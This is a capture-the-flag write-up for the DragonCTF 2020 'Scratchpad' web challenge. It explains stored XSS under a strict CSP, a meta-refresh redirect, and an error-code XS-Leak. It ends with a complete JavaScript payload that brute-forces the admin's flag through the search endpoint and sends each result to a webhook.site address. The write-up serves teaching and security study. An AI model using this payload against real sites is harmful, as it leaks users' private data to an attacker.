DragonCTF 2020 - Scratchpad (web)
Yet another notepad web challenge. Mind getting the flag?
http://scratchpad.hackable.software:3000/
Download file
19 solves
This challenge was a classic notes site. It was an express.js app where we had the ability to:
- login/register
- create new notes
- visit notes
- "report" a note and get an admin user to go visit it
- search for a note containing a substring
The flag was located in one of the admin's notes, with the format DrgnS{...}
Step 1: XSS
The first thing we discovered was that it was trivial to get stored XSS in a note – it did not sanitize HTML and you got XSS for free when creating a new note.
However, the page had a very strict Content-Security-Policy:
default-src 'none';
style-src 'self';
img-src 'self';
form-action 'self';
base-uri 'none';
This prevented us from inserting javascript code (due to default-src 'none'
), so we had to find another way to obtain the admin's flag note and exfiltrate it.
Step 2: Redirect to malicious site
We realized that via injection of a meta refresh tag, we could redirect the admin user to our own site!
<meta http-equiv="refresh" content="0;url=http://example.com/" />
Step 3: Error-Code XS-Leak
We then noticed (from reading through source code) that the site was vulnerable to a classic Error-Code based XS-Leak!
An XS-Leak is class of attacks that abuse web side-channels to exfiltrate information about a user. In this case, the side-channel we abuse is HTTP Error events.
Normally, we are not supposed to be able to get any information by making a request to a third-party site from our malicious site, because of SOP (Same Origin Policy). Browsers will refuse to let websites observe the HTTP response.
However, browsers will actually let us observe whether the request resulted in an error code or not!
In this case, the search endpoint returned an HTTP 200 when notes were found that matched the queryString, and returned an HTTP 404 when no notes were found.
E.g. /?q=DrgnS
would return an HTTP 200, and /?q=blablabla
would return a 404.
By abusing this fact, we can extract the flag by brute-forcing it character-by-character!
- Try every possible query for our first unknown character: e.g.
/?q=DrgnS{A
,/?q=DrgnS{B
,/?q=DrgnS{C
until we observe an HTTP 200 - Now, we know the first character, so try the same thing for the next character
Here is our final payload implementing this exploit:
<body></body>
<script>
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function probeError(url) {
return await new Promise((resolve, reject) => {
const script = document.createElement("script");
script.src = url;
// onload is triggered when we get an HTTP success code (e.g. 200)
script.onload = resolve;
// onerror is triggered when we get an HTTP error code (e.g. 404)
script.onerror = reject;
document.head.appendChild(script);
});
}
async function search(query) {
try {
await probeError(
`http://scratchpad.hackable.software:3000/notes?q=${query}`
);
return true;
} catch (e) {
return false;
}
}
async function exploit() {
let flag = "DrgnS{";
let query;
// keep going until we hit the end of the flag
while (flag.charAt(flag.length - 1) !== "}") {
console.log(flag);
for (let c of "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") {
query = flag + c;
if (await search(query)) {
// success! we got an http 200
console.log(`YES - ${query}`);
flag = query;
break;
} else {
// we got an http 404
console.log(`NO - ${query}`);
}
}
try {
// send whatever characters we have obtained so far to our webhook
await fetch(`http://webhook.site/fbcef441-77bf-491f-9b92-9dd96dbc2736?${flag}`);
} catch(e) {}
}
}
exploit();
</script>
For more info about XS-Leaks, check out the fantastic wiki!